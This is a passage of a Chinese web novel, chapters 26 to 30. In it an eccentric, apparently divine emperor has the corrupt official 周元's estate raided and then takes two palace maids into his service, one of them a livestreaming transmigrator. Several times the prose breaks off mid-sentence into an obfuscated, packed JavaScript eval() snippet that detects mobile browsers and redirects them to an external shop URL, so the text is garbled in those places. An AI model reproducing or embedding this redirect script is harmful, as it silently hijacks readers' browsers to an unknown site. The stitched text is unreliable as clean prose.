有些事,要么是真正高洁出尘的人能做,要么就是谢吾德这种只要他爽了,做什么都可以的家伙。 . 邱潇他们休息了一段时间,才去见了谢吾德。 这个时候已经是下午了。 邱潇倒是没有像其他人那样去围观周元被抄家的热闹。 想也知道周元那些可能相对比较无辜的妻儿也会因此获罪。 邱潇毕竟是被自己正直的叔父带大的,对于这种事情不是很感兴趣。 他可以因为周元倒霉高兴,但是用他的悲惨取乐就算了。 但是其他人就没他这么多的想法和道德报复,有一群普通人跑过去,围观周元被抄家的盛况。 他们和谢吾德一样,就喜欢看这种平日里高高在上的大人物倒霉,然后把这个作为谈资 如果是个颇有贤名的大臣倒霉,他们还会给予同情,但是周元还是算了。 这人说是畜生多少有点侮辱畜生,因为畜生还能 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对于普通人来说,别说是这种找大工匠精心修筑的庭院了,他们回家能掐朵花放窗上已经很有情趣的了。 不过美中不足的是,这个庭院里的花草凌乱,一看就知道被人踩踏过,原本秀美的庭院多了一点肃杀的感觉。 周元虽然会对获胜者俯首称臣,但是他并不是会甘心束手就擒的人,他卑躬屈膝是为了帮自己获利,当他发现这对自己无用的时候,他就会亮出自己的獠牙。 他在很多人眼中是狗,但是很多人都忘了狗也是狼的一种。 周元有狠狠反抗的心,但是不知道为什么,被谢吾德派过来的人刀枪不入。 那群太监一开始也很意外,被砍了一刀的太监甚至都已经开始哀嚎了,但是哀嚎了半天,发现自己一点痛感都没有。 本来是抄家的事情,但是在那一刻,却神奇地安静了下来,虽然沉默,但是却散发着一股怪异的滑稽的气息。 谁都没有动,就好像空气凝固了,他们成了空气中的标本一样。 这种沉默终结于那个倒在地上的人保持那个姿势到无法继续坚持了,他动了一下,于是压断了一根树枝。 这根树枝断裂的声音很小,但是此时此刻就像是冲锋的号角一样,那群太监几乎立刻变得凶悍了起来。 他们这些愿意直接被谢吾德支使往往都是之前在宫中混得一般但是又非常有进取心的,他们不觉得自己比其他人差到哪里,一旦发现自己开了挂,那不就直接嗷嗷地向前冲? 什么叫悍不畏死,这就是各种意义上的悍不畏死。 “杀!”这群太监声音无比振奋,甚至原本因为阉割变得尖细的声音都带上了几分澎湃和兴奋,他们这群长期在宫中的人好像瞬间多了在前线冲锋的豪气。 26.第 26 章 周元豢养的家丁如何能够抵抗住这样的攻势? 他们从来没有见过这样的场景,这是超乎他们一切的尝试,也许只有在茶馆,几乎是立刻把手里的东西丢了下去了,即使脚底打滑也完全没办法阻止他们逃跑。 他们的战斗意识几乎一下就被击垮了。 这个世界除了谢吾德和谢吾德相关的事情之外的确没有什么超自然的现象,但是这不妨碍他们的科学依然处在蒙昧阶段,有着根深蒂固的迷信思想。 ……其实真的有着科学思维的人看着这封建时代的这一幕大概也会猛推自己的眼镜怀疑自己的眼睛是不是出了什么问题。 总之,对于他们来说,这不是天兵下凡是什么——虽然不知道为什么天兵被噶了蛋,但是和这群人对战能有什么好下场。 他们溃败得太快了,周元本来打算带着自己的妻儿老小赶紧跑,就指望着这群家丁能把人多拦住一会,结果这群家丁一跑,反而阻挡了周元一家逃跑的路。 他们跑不掉了,于是就被抓了起来,送到了宫中。 在解决掉这家人之后就是令人愉快的奖励关——抄家。 太监们的手不怎么干净,但是他们拿的东西没过多久就被收上去了。 让他们把私藏的东西上交的就是当时第一个响应谢吾德,也被谢吾德委以重任的太监,他的名字叫李真。 他把那群太监聚集到一起说道:“我知道你们肯定不高兴,但是我得提醒你们一件事情——这位陛下可不是一个普通人,想想周元是为什么出事的?现在咱们还不清楚陛下具体是个什么样的性格,你们要是被陛下揪出来斩了,那可别怪我没有提醒你们。可别忘了这位陛下似乎是真有神力。” 这群太监素质参差不齐,谈不上素质,更多的是比较自信或者喜欢冒尖。 在听到李真这话之后,那些太监的身体一震。 他们光顾着抢看上去次一等的珍宝了,但是却忘了这么重要的事情。 最好的肯定得给皇帝,他们还没有疯到这种程度。 万一谢吾德是那种眼睛里不容得半粒沙子的性格该怎么办? 周元是因为谢吾德看他不顺眼才跌落到底的,但是本质还是谢吾德对周元过去的种种行为不满。 他们只是只是没周元做的那么过分,但是本质不还是周元那一套。 只不过他们做了一,周元做了一百。 对于谢吾德来说差距很大? 在这种精神有问题的君主面前工作,再怎么小心都不为过。 之前也不是没有得罪谢吾德直接被杀了的太监。 他们这样私吞财富是自寻死路。 谢吾德说不定现在正在看着他们拿,看着他们拿完了之后,再和他们说他们做的一切都被他看在眼里。 这听着也像是谢吾德能干出来的事情。 李真也适时地说道:“我知道你们可能还有有东西没有交上来,我一会就走,不留人在这看着你们,你们要是有什么想交出来的东西就放在地上,到时候统一收走,就当原本无事发生。这样,我也算是仁至义尽了。” 李真说这话虽然是想要把这件事情做好,但是也不能说他不是为所有人好。 事情就是这样的。 太监们把东西交上去之后,又去阻止那些跑进来的普通人,把他们偷偷拿走的东西搜出来。 他们都不能拿,那这些人又怎么能拿呢? 等着邱腾和越王府翊善觐见谢吾德的时候,就看到谢吾德背着手,低着头看着摆在他面前颇为壮观的珍宝。 边上还有个跪在地上被堵住嘴的周元,而远处还有个谢珖。 昏君奸臣组合,一个都不能少。 太上皇谢珖战战兢兢的,他害怕谢吾德处理掉周元之后就来处理他了,他看着邱潇,似乎想到了帮自己抗击萧人的忠诚将领,用求助的目光看向了他。 但是邱潇只是看了他一眼,就收回了目光。 谢珖的目光中多了几分怨恨。 说什么对他忠诚,实际上也是贪生怕死的货色。 邱潇要是知道了太上皇的想法,肯定会短暂受伤,然后感慨不愧是谢珖,这的确是他会有的想法。 其实邱潇本来就打算确认一下谢珖的安全,毕竟是曾经叔父效忠的皇帝,总不可能让他真死了吧?他只看一眼也很简单,要是被谢吾德发现了他的心思,连带着他叔父得落不到好。 而且他现在关心有什么用?他手上没有兵权,他也没办法替叔父决定任何事情,克制地看一眼对谁都好。 谢珖也不一定完全想不到这种事情,但是他更希望世界能围着他转。 可能萧人就是他脑子里唯一的例外。 “臣等参见陛下。”邱潇和越王府翊善同时行礼。 谢吾德也不说话,他只是挥挥手,便有太监让这两个人起来。 其实也不需要这些太监提醒,他们知道谢吾德是个没什么事连嘴巴都不愿意张的人。 早就认识谢吾德的邱潇和翊善都自觉用眼角的余光注意着谢吾德的动作,自己起身了。 谢吾德偏头看到这两个人,好像忽然想起了什么样子,问他们:“你们看看有没有你们喜欢的,要不拿走几件?” 谢吾德看上去十分随意。 这里没有他喜欢的,所以他就很大方。 他很喜欢博物馆里的古董,但是不喜欢把古董放在家里,除非是有意义,不然他不喜欢用别人用过的东西。 而且这些东西在谢吾德看来比较普通。 他倒是有一点乌鸦属性,喜欢亮闪闪的宝石——玻璃也行,可是中国的宝石不多,而且传统来说人们比较喜欢玉石。 “谢陛下,但是无功不受禄。” 谢吾德的表情微微顿了一下——他顿这一下的理由也是有点神奇,因为他在听邱潇说“谢陛下”的时候,他总感觉“陛下”变成了个职务。 谢吾德本人不姓谢,“谢吾德”这个名字只是他用于区分自己和本体时用的名字,不过他用了很久,甚至信徒向他祈祷的时候也会带上这个名字,久而久之,谢吾德真就把这个名字当成了自己半个真名。 名字只是一个代号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周元只想说你失望个头,这些东西大多都是他费劲心力积攒下来的,就这么一阵就被抄干净了。 这群太监明白他的东西的价值吗? 不过谢吾德突然想起一件事,他对李真说道:“对了,要不我组一个锦衣卫,你就当他们的头头吧。” 他到现在都不是很习惯自称朕,不过谢吾德也无所谓,他最中二的年纪都觉得“朕”这个自称超过他的羞耻极限了,到了真的有资格搞这种自称的时候,他又觉得这无所谓了。 说方言自称“俺”也别有一番风味。 虽然说方言会影响颜值。 谢吾德想,今天也算是cos了一把朱元璋。 不对,朱元璋的锦衣卫不是太监,而且他也不是芒果脸。 谢吾德的决策十分迅速,迅速到李真都没反应过来。 “陛下……锦衣卫是……”李真试探性地问道。 谢吾德卡顿了一下。 锦衣卫是干什么的? 谁都知道锦衣卫,也在电影电视剧中看过很多,可是这种问题就像是看课本和考试一样,看课本觉得自己会了,看卷子觉得自己什么都不会。 想要总结这个工作内容还是有点困难的。 他紧急问了一下AI,又感觉自己好像直接照搬AI一听就知道不是他自己的想法。 他思考了片刻,决定用朴实的语言来解释这一切:“就是朕最忠诚的走狗。” 27.第 27 章 翊善听到这句话都想捂脸了。 他不知道锦衣卫是干什么的,但是所谓翊善,一个重要职责就是教导皇子。 但是只要哪怕了解过一点关于谢吾德为人的事情,就对翊善管理谢吾德这件事完全没有半点期望。 翊善自己都想说,他算是哪根葱。 谢吾德可能都不知道他叫什么。 他一直都不太在意翊善的存在,翊善都难以让谢吾德好好听他说完一句话,只要他说半句谢吾德不爱听的话他就走了。 谢吾德在他看来是这个世界上最差劲的学生:诸子百家的课他不学,教他礼仪他也不学,骑马射箭算数之类零碎的东西他也不学……不是完全不学,他只是听个乐,等着好奇心被满足了,他就走了。 翊善曾经以为谢吾德对军队感兴趣,还觉得谢吾德可能会去打熬身体,结果发现谢吾德就是一个又懒又宅还喜欢睡觉的家伙。 除了破坏力惊人不爱晒太阳之外,和贵妃那只懒洋洋的猫没什么区别。 翊善之所以成为谢吾德的翊善,本来是因为他的性格有点直,不懂妥协,才被人排挤到了这个位置上。 就像是太上皇希望谢吾德能够死在战场上一样,翊善的敌人也希望翊善能够死在谢吾德手里,再不济也是被谢吾德狠狠折磨。 实际上翊善的确被谢吾德折磨到了。 他过去也算是铁骨铮铮的人,在面对谢吾德的时候,都产生了想要跪下来给他磕个头的冲动:只要谢吾德好好学,他还真能干出来这件事。 他之前那么耿直很大程度上是没遇到比他还耿直且让人棘手的家伙。 谢吾德让他见识到了自己的“软弱”。 “陛下……”翊善还打算挣扎一下。 不对,谢吾德现在都是皇帝了,他还能算是翊善吗? 谢吾德他正在兴头上,不喜欢别人挑刺,用词问题并不重要,重要的是有没有将想法成功地传递过去。 “你再说你就别做翊善做我身边太监好了。”谢吾德看着翊善还打算说话的样子,直接说道。 翊善:“……” 比较严重的肉刑已经被废除几百年了,如果是别人的话,他可能不会把这件事情当真,但是这是谢吾德,他从来都不走寻常路。 翊善怂了。 谢吾德无语,他就是说出来吓唬一下人的,本人并不打算真的这么做,结果看翊善怂的这么明显,他反而有点不爽。 一般情况下,他都是直接杀人不折磨人的,在这群人心中自己到底是什么形象? 谢吾德单手托腮,看着翊善:“你们回到锦京是来告我的状吧。” “是担心陛下的安危。”翊善恭敬道。 谢吾德心说这就是让人挑不出毛病的语言,翊善也不是只会指点别人去做,自己做不到的类型:“也是,我这个身体还在桃李之年。” 余文彦:“……”陛下关于您的来历您真的一点都不隐瞒一下吗? 翊善:“……”桃李之年说的是女子吧? 现场的两个吐槽之人分别吐槽不同的事情。 看到他们这么无语,谢吾德就舒坦多了。 无语只能用无语来补偿。 “最近边关有什么大事吗?”谢吾德满意于他们的无语,就不主动折腾他们了,转而说起了正经事,他偶尔也打算尽一下自己作为“皇帝”的责任。 “并无。”邱潇看着这两个呆若木鸡的人,“陛下威加宇内,无所不从。” 可能他还年轻,而且性格没那么严肃,之前和谢吾德的交流也算愉快,所以他有的时候居然还能跟得上这两个人的脑回路。 邱潇说这话并不是因为谢吾德现在是皇帝了,所以吹捧他,这是完全的实话。 太上皇之前打定主意要谢吾德死在前线,但是那些人能在谢吾德面前留个全尸都算是他们有着老鼠一般的生命力。 萧人到现在都不知道他们与荣国的边界发生了什么,毕竟每一次都无人生还——谢吾德杀得太干净了,这就导致在萧国哪里,这变成了一个彻头彻尾的情报黑洞。 在搞清楚发生了什么之前,萧国恐怕不会再次轻易派兵过去。 三万大军就那么没了,一个人都没有回来,萧国的皇帝即使被脂肪塞满了也能算清楚自己的损失。 这甚至都不是损失的问题,这是纯粹的未知带来的恐惧。 所以这还真是托谢吾德的福,才让边境变得平安了许多。 从这个角度来说,很多人真的得感谢谢吾德。 谢吾德有一千点一万点不好,但是在这件事情上很难挑出他的错误,顶多是从他做事风格方向进行攻击。 谢吾德摸着下巴:“等着锦京安静下来之后就反推萧国吧。” 荣国也不是完全没有这个实力,但是谢珖实在是太怂了,瞻前顾后的。 谢吾德觉得自己的本体虽然也挺瞻前顾后容易最后什么事都做不成,但是他是真的清楚自己没太强的决策能力,能把事情交给别人去做,和这种又废又放不下权力欲的货色比较都算是侮辱他了。 听到谢吾德的话的谢珖本能地想要喊一句怎么能对萧国动手,但是在喊完之后,他的脑子忽然冷静了下来。 眼前的可是谢吾德,谢吾德可不会听他半句话。 他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623600|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有点明白为什么邱潇看上去想要和谢吾德站在一面了。 邱腾就是一直请求他北上进攻萧军。 可是怎么能轻易动手? 北荣可比南荣大多了,这样都没解决掉萧人,那就更别提现在的南荣了。 这打一次仗得消耗多少钱,得有多少人死在战场? 萧国现在只是试探着打他们,这种穷鬼蛮夷随便给点钱打发了,消磨掉他们的战斗意志就可以了,为什么要花更多的钱去打他们? 他们可以买来数代人的繁荣! 他们考虑过万千百姓吗? 没有,他们满脑子只有战斗爽。 战斗狂遇上了战斗狂,那会选择的道路已经很直白。 谢珖很愤怒,他觉得谢吾德是在推翻他的政策。 儿子怎么能推翻父亲的政策? 但是谢吾德压根就没把他看做是父亲,而且是真的会殴打他。 而且周元都被堵着嘴绑起来了,谢珖担心自己引起谢吾德注意之后会被一起清算。 谢吾德想一出是一出,自己安安静静的他说不定会忘记这件事情。 谢珖只能愤怒地闭嘴。 谢吾德这次没看谢珖。 “那需要通知邱将军回锦京吗?”邱潇问。 “不用,到时候我过去。”谢吾德没打算一直在锦京待着,他到达邱家军目前所在地不过是一眨眼的事情,“不用麻烦他跑个来回。” “这怎么能叫麻烦呢?”邱潇真心实意地说道。 从来就没听过君主麻烦臣子的,皇帝的吩咐那就是命令。 他叔父可不是那种“将在外军令有所不受”的类型,如果皇帝的命令十分强硬,他最后往往是会答应下来的。 这也导致了邱腾的指挥作战往往受到很多方面的制约,非常影响他的发挥。 “你再挑我用词的刺我也阉了你。”谢吾德啧了一声。 邱潇:“……” 陛下,您在开玩笑的……对吧? 谢吾德总给人一种摸不准他是不是认真的感觉。 理性告诉他,谢吾德还是可以讲道理的,但是理性又告诉他,谢吾德脑子有病,谁都说不好他具体会怎么做。 谢吾德当然只是说说,他就是看这群人对他说得每一句话态度这么认真,故意捉弄他们。 谢吾德在简单地把这些事情处理掉之后,他忽然注意到这附近有一点不同寻常的光亮。 他看了过去,这光不是自然出现的,而是好像直接写在空气中的文字一样。 谢吾德听到了一个声音:【家人们绷不住了,居然真的魂穿到荣朝了。】 28.第 28 章 谢吾德一挑眉。 这要是个正经世界,那这个世界也真够千疮百孔了,不过这不是正经世界,本身就是为了自己游玩特意制造的半虚拟世界,什么巧合都会出现的。 他想看看本体给自己整了什么活。 谢吾德看向了那个方向。 那个方向有两个宫女。 至于哪个是穿越者……谢吾德觉得是那个情绪更激动的,这也和他刚刚听到的话相符合。 . 林耀祖是魂穿来的,她在这个世界的身份是一个普通的宫女,没有什么身份背景,就是一个再普通不过的宫女。 一般来说这样的身份是很难混到御前的位置,可是现在宫中非常乱,就像是这个世界一样,一切皆有可能。 这其实不算是谢珖的锅,毕竟他对宫廷的把控还是很强的,这主要是谢吾德的问题。 他一口气干爆了“亲爹和三个哥哥”,这三个人和他们背后的势力在这次的风波中直接被倾覆。 谢吾德其实是一个很没耐心又不喜欢和人打交道的人,他对于管理一事算不上一窍不通,但是他知道的就是纯粹的理论,手下又没有太多可以管理这件事情的人。 宫女也好,太监也罢,谢吾德不需要他们伺候,很多地方他都习惯亲力亲为,自己的事情自己做,像他这种不是纯粹的爱干净,只是单纯强迫症的洁癖只有亲自动手才觉得安心,到目前为止没有任何一个人成功靠近他一米的范围内——除了被他揍过的。 甚至那些太监宫女都不知道谢吾德昨天晚上在哪里睡的,反正他们打开宫殿的大门的时候谢吾德就不在,等着中午谢吾德才不知道从哪里打着哈欠出现。 皇宫中也算是有一种微妙的生态平衡。 比如说宫女太监的一切都围绕着皇帝,而皇帝的一切也得完全依赖宫女和太监,这样才是宫中的秩序,当这秩序被打乱的时候,皇帝会手足无措,宫女太监也会迷茫。 谢吾德不在这平衡之中。 在继士卒之后,宫女太监的失业风险也逐渐增加。 不过宫女们大多期望着谢吾德的恩典能够把她们放出去嫁人。 太监宫女的事情从一开始就和谢吾德的兴趣或者利益毫不相干,谢吾德很难想起这些小事。但是宫中混乱的形势不会因为谢吾德在不在意而发生什么改变。 这些宫女太监也是有着自己的人脉势力,有着自己服侍的主子。 现在大皇子、二皇子、三皇子以及曾经的皇帝都相继倒台了,这三位和这三位背后的势力是这个皇宫中最大的势力。 他们四人都失败了,那他们手下原本的人也会失去庇护,没有人能够再为他们撑腰,曾经被他们得罪支配的人就有清算他们的想法了。 之前不是耀武扬威吗?现在该轮到他们享受一下被耀武扬威的感觉了。 也就是这种事情没影响到谢吾德,余文彦也没空去关注太监宫女这种小人物,不然他们完全可以发现宫中谋杀率上升了百分之一千。 这个数字着实是触目惊心,但是有在情理之中,不过是过去的怨恨甚至血债的集中爆发。 林耀祖也是因此可以混到一个靠近谢吾德的机会。 在现在的情况下,做到并不难,毕竟谢吾德是一个很麻烦的人,谁也摸不准他会做什么。 基本只有一个问题——她敢吗? 林耀祖可太敢做这件事情了,毕竟她在来到这个世界之后发现自己有一个系统,这个系统说如果她死了的话,还可以把自己的灵魂投入到其他的身体之中。 如果不是因为她的性格只是活泼,并不是过分张扬,以及系统警告她不要在谢吾德面前作死——谢吾德如果亲手杀她她会真的死,林耀祖都想在谢吾德面前跳一支舞来展示一下自己的兴奋。 【哇,他长得真好看。】有弹幕发出了这样的消息。 谢吾德的性格虽然性格烂像是屎一样,但是他真的是长了一张非常漂亮的脸:浓眉大眼,唇红齿白,五官十分立体,一双蓝眼睛蓝得十分奇特。他的皮肤白皙,身姿挺拔,不发癫的时候还真有一种优雅沉稳的气场,乍一看上去就有一种优雅又神秘的感觉扑面而来,这样的人往往能够第一时间抓住别人的视线。 也是因为谢吾德这双蓝色的眼睛,才让如今的太上皇怀疑他是不是他的亲生儿子,还多次质疑谢吾德这个身份的母亲:有哪个华夏人有着蓝色的眼睛?这一看就是异族的特征。 所以那个女人死了。 没人杀她,但是人不一定是被杀才会死。 这也不是谢吾德恶趣味的设定,而是在这个时代这种情况就会变成这个样子。 不过这一切对于这个世界而言都只是一个设定,在谢吾德的意识降临到这个世界之前,这个世界本身只是电脑中的数据,是根据设定推演出的合理结果。 实际上这样的误解也不是第一次出现,谢吾德真正的父母也产生过这样的疑惑,甚至怀疑是抱错孩子了,还去做了基因检查,事实证明这就是他们亲生的,不过眼睛颜色发生了一些变异,医生都想拿他写论文。 实际上他蓝色的眼睛算是法网深度融合的标志,人话大概就是这就是他不正常或者是超凡的标志。 他和他们家的确没有半分蓝色眼睛的基因。 不管怎么说,谢吾德的颜值大概比他本人的能力要突出太多了。 不过无论是他哪一个身份,都没有把自己的美色用来变现的打算,他还是太注重隐私了,甚至会主动躲镜头。 内向的人是这样的。 林耀祖真的很想捏一下谢吾德的脸,她之前养的娃都没有长得这么符合她的审美,他笑起来的时候还挺可爱的。 如果这货现在不是踩在周元身上上上下下地玩,就跟在做踏板运动一样。 谢吾德一般不会让人看傻,但是现在他是皇帝,皇帝这个身份本身就有加成。 谢吾德很喜欢皇帝这个身份,林耀祖也有那么一点。 就算在他们出生的年代已经没有皇帝了,大家对皇帝持有的态度大多也都是调侃,但是在真的见到一个皇帝的时候,还是隐隐的有一种崇敬的心理。 毕竟这个民族千年来都是这样,已经养成了一个近乎于文化烙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627078|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印的东西。 说自己是皇帝,多少都要被尊重几分,即使是现代人也没办法完全摆脱这种烙印。 也就是说谢吾德现在天生身上带有一种buff——一种能够让别人仰视的buff,哪怕只是普通的好看,在这光环之下也会变成非常好看。 不过皇帝这种身份,谢吾德没有得到的时候还挺喜欢的,在得到之后感觉就是那样了——毕竟被崇拜是他的日常,他对此已经习以为常了,皇帝能够得到的一切作为神能得到更多,甚至有过之而无不及。 至少当神不会有什么朝臣想要制约他,他的狂信徒能当场把这群大逆不道的家伙绑在火刑架上烧死。 他看着那个宫女,现在那个宫女身边的弹幕在他看过来的时候急剧刷屏。 【他是不是在看向这个方向?】 【主播是呆住了吗?】 【我在我也呆。】 【别光看他的脸忘记了他的性格。】 【别傻站着了,换个地方,别看他。】 【快跑快跑快跑!】 林耀祖眼皮跳,却看到谢吾德冲她勾手示意她过来。 林耀祖其实不是一个人来的,她在这个身体醒过来的时候身边有一个朋友,对方看到她睁开眼的一瞬,就慌张地扑过来,双手捧住了她的脸。 林耀祖稀里糊涂地问了一句:“你是谁?” 朋友愣神过后忽然悲伤地说:“我是你的朋友啊。” 这个身份似乎性格和他一样的样子,朋友并没有对她的状况感到奇怪。 毕竟穿越不都是这样的吗? 如果一开始就被人抓住的话,那就实在是太麻烦了。 朋友的长相像是一朵艳丽的牡丹一样,一下子就能抓住别人的眼睛。 林耀祖还挺喜欢她的,也是因为她,所以林耀祖除了付出勇气之外,还能有凑到御前的实际操作方式。 虽说想要在谢吾德面前出头基本只有一个勇气问题,但是这个世界上要地位不要命的人多了去了,还是需要稍微卷一下的。 有这样的漂亮姐姐协助,林耀祖除了不知道什么时候能回家,其他都挺完美的。 “陛下是不是在看你?”这个宫女看向身边的林耀祖,有点担忧地问道。 “可是陛下是一个近视眼吧?”林耀祖有点迟疑地说道。 谢吾德是个近视眼这件事情并不是什么秘密。 关于荣武宗的很多事情都湮灭在了历史的长河中,让人无法分得清哪部分是真哪部分是假,但是有一些不是很重要的小细节还是保留下来,就比如有一些人的笔记中提到过的“武宗眼神不好”、“记不住名字”。 一个人这么说可能是谣传,一群同时代的人这么说,那就很有可信度了。 这么远他能看到什么呢? 但是他们没有过去不代表没人来找她们。 那是谢吾德身边最先上位的太监李真。 太监最期待能够自己能够在谢吾德面前展示自己了,他走到林耀祖身边说道:“陛下找你们有事。” 还真是谢吾德找她们? 29.第 29 章 林耀祖的头皮一下子炸了起来。 她之前没听弹幕的话主要是因为动了才更容易吸引谢吾德的注意力。 谢吾德如狮如虎,这种猫科动物最喜欢追逐移动的猎物了。 越挣扎他就越兴奋。 呆若木鸡才是最佳的求生方式。。 只要打不还手骂不还口站在那里就跟个木墩子一样,谢吾德绝对不会理这种人的。 谢吾德找她们干嘛? 她有哪里不一样吸引了他的注意? 就在这时,林耀祖身旁的宫女姐姐用手扶住了她的后腰,对她说道:“放心,我和你一起。” 她和她一起没什么用,但是这句话一听就让人放松下来了。 林耀祖跟着宫女姐姐走了。 靠近谢吾德之后,他看上去更好看了。 谢吾德背着手站在一堆珍宝前,他衣服其实很朴素,只有若隐若现的暗纹,料子不错,但是感觉做这件衣服的裁缝技术不是很高明。 如果换个人大概觉得这个皇帝勤俭爱民,但是放在谢吾德身上,就两个字——难说。 搞不好他有自己的奇怪道理。 “你从哪儿来的?”谢吾德笑眯眯地看着这个人。 他的笑其实很有感染力,只要他不发癫,当他笑的时候,总会让别人也忍不住会心一笑。 只可惜谢吾德一直都在发癫,不发癫一般就很高冷。 林耀祖没有会心一笑,但是恍惚了。 她没有发现别人都不敢直视谢吾德的脸,只有她自己在这么干的异常之处。 谢吾德发现了,毕竟其他人在他面前多少都会把头低下来一点,只有林耀祖不一样。 “我们之前是在三皇子身侧做外围宫女。”旁边的林耀祖旁边的宫女姐姐先提前回答道。 林耀祖这才知道“自己”的来历。 宫女姐姐太好了。 谢吾德没有在意谁先回答,其实他也不是很在意答案,只不过是发挥一些情商开启话题。 他多看了那个宫女一眼。 穿越女很有趣,但是这个宫女也很有趣,她看上去和其他人一样在他面前都是低着头的,但是言谈举止不卑不亢,看上去颇有气度。 她真的是个宫女吗? 谢吾德可能是全场唯一第三视角了,所以他的感觉格外明显。 “那你们以后就待在我身边吧。”谢吾德直接说道。 这两个人感觉非常有趣,感觉之后肯定有很多乐子,所以一定要把她们留在身边。 现在已经有两个人穿越者出现了。 一个似乎已经在这个世界待了好几年,而眼前的这个眼睛里还带着几分好奇和雀跃,显然是最近才来到这个世界的。 “你们叫什么名字?”谢吾德一直没问这个问题,余文彦就问了。 在问出这个问题之后,余文彦忽然意识到谢吾德好像也没问过他的名字。 呃,谢吾德真的知道他的名字叫什么吗? 如果一般人的话,他可能不会想那么多,就算当时没问,之后也会问别人补上的,但是对于谢吾德来说,他可能会做出为了避免自己叫错名字就干脆不问对方名字的离谱事情。。 “奴家尔雅。”宫女姐姐开口说道。 谢吾德却忽然打断了她的话:“说我。” 尔雅没有反应过来,她看向谢吾德。 谢吾德翻了个白眼,又重复了一句:“说我,站直说。” “我叫……尔雅?”这个名叫尔雅的宫女不太确定地说。 她是一个大气明艳的美人,自称“奴家”对谢吾德来说太违和了。 谢吾德本人是一个铁血单身主义者,性取向大概率是女性,性格强势又美丽的姐姐完全让人没法抗拒。既然这个人看上去有这样的个性,那就绝对不能浪费。 虽然真论起年龄,谢吾德清醒时间的零头都比她要大。 “尔雅这个名字听上去……你不像是一个普通的宫女。”谢吾德在看到尔雅站直说话之后舒服了不少,然后才开始动脑子。 听到这句话,余文彦又忍不住感到惊讶。 “你那是什么眼神?真的以为我是文盲吗?”谢吾德再次咬着后槽牙问。 “不敢不敢。”余文彦连连说道。 《尔雅》是儒家的著作,如今可是法家当道。 谢吾德这种文盲能把这种连学都不爱上的家伙能把法家的著作看完了就已经很不错了,儒家就想都别想。 余文彦看谢吾德也不像是会对儒家的经典产生兴趣的样子。 不如说如果孔子看到谢吾德的话,大概能被他气得一佛出世二佛升天,孟子看到他就会指着谢吾德大声地说道:“你根本不是人。” 如果当初教导皇子的老师听到余文彦的心声,他一定会说“你说的对”。 毕竟他以前阴阳怪气过谢吾德,但是谢吾德压根没听懂。 谢吾德连语气的不对劲都没听出来,文化人表情装得太好了,而谢吾德又从来懒得揣测他不在乎的人的心情。 “我就是一个天才。”谢吾德毫不羞愧地说道。 余文彦觉得谢吾德所谓的天才大概就是体现在他知道《尔雅》这个名字的份上了。 不过他之前已经吐槽过一次了,不敢再吐槽了。 谢吾德让尔雅这么做和平等的思想没有半点关系——任何人在他的面前都是不平等的。 他不喜欢奴婢这个自称,听上去一点没有逼格。 他喜欢更加帅气的自称,这样的人怎么配待在他的身边呢? 谢吾德的脑回路和这个世界这个国家的绝大多数人都不同。 别的皇帝会想要通过权力和金钱收买大臣,尽量形成同盟,但是谢吾德的想法很简单:“你是哪根葱?敢和我平起平坐。” 要他说的话,比起太监、宫女,他更希望所谓的什么公卿阶级来服侍他。 别人如何想不一定,但是林耀祖是绝对松一口气。 她个人是不接受自称奴婢的,来自一个人人平等的世界是很难跪得下去的。 林耀祖也没怯场,她在穿越之前就是一个主播,所以在旁边的宫女姐姐先开口之后,她活力满满道说道:“我叫林耀祖。” 【up这是你真名吗?居然不是整活吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余文彦之前虽然动过刺杀谢吾德的想法,但是他觉得三皇子的能力不强。 谢吾德虽然癫,但是他诡异的能够解决问题——就像是他能够随随便便的就成功把周元给抄家了,周元还没能成功反抗。 三皇子身上能做得到吗? 谢吾德可能在道德上有很大的瑕疵,但是相比起道德的瑕疵,更可怕的是皇帝是一个无能的人——这对于一个统治者来说几乎是致命的问题。 一个善良的蠢皇帝有什么用? 恐怕等着周元被成功抄家的事情传出去之后,许多人都会觉得让三皇子继位是纯粹的痴心妄想。 世家应该会老实许多。 “让他爱去哪去哪。”谢吾德一挥手,“总不能让他继续留在这里吃朕的饭吧?” “没有,我们没有再给他喂任何一口吃的。”边上有太监非常积极地向谢吾德汇报着,这种最懂得揣摩心思的人自然会把谢吾德的想法执行下去。 这句话换到任何一个正常皇帝身上都会让旁观者忍不住汗颜,正常人大概都会说一句“朕差他这一口饭吗”? 但是谢吾德就能够抠得这么理直气壮——明明之前对着那一堆金银财宝都毫不动心。 谢吾德思考两秒:“对了,让他给朕交赎金。” 余文彦:“……” 30.第 30 章 太丑陋了。 什么赎金? 这话可真难听。 听上去更像是什么绑匪。 余文彦已经打算改正一下自己喜欢小声蛐蛐的毛病了,他在二皇子手下干活的时候,二皇子和他身边的人耳朵都没谢吾德这么灵。 谢吾德总不可能以腹诽心谤论罪,所以在心里想想应该还是没问题的。 “那五皇子呢?”余文彦顺便问道。 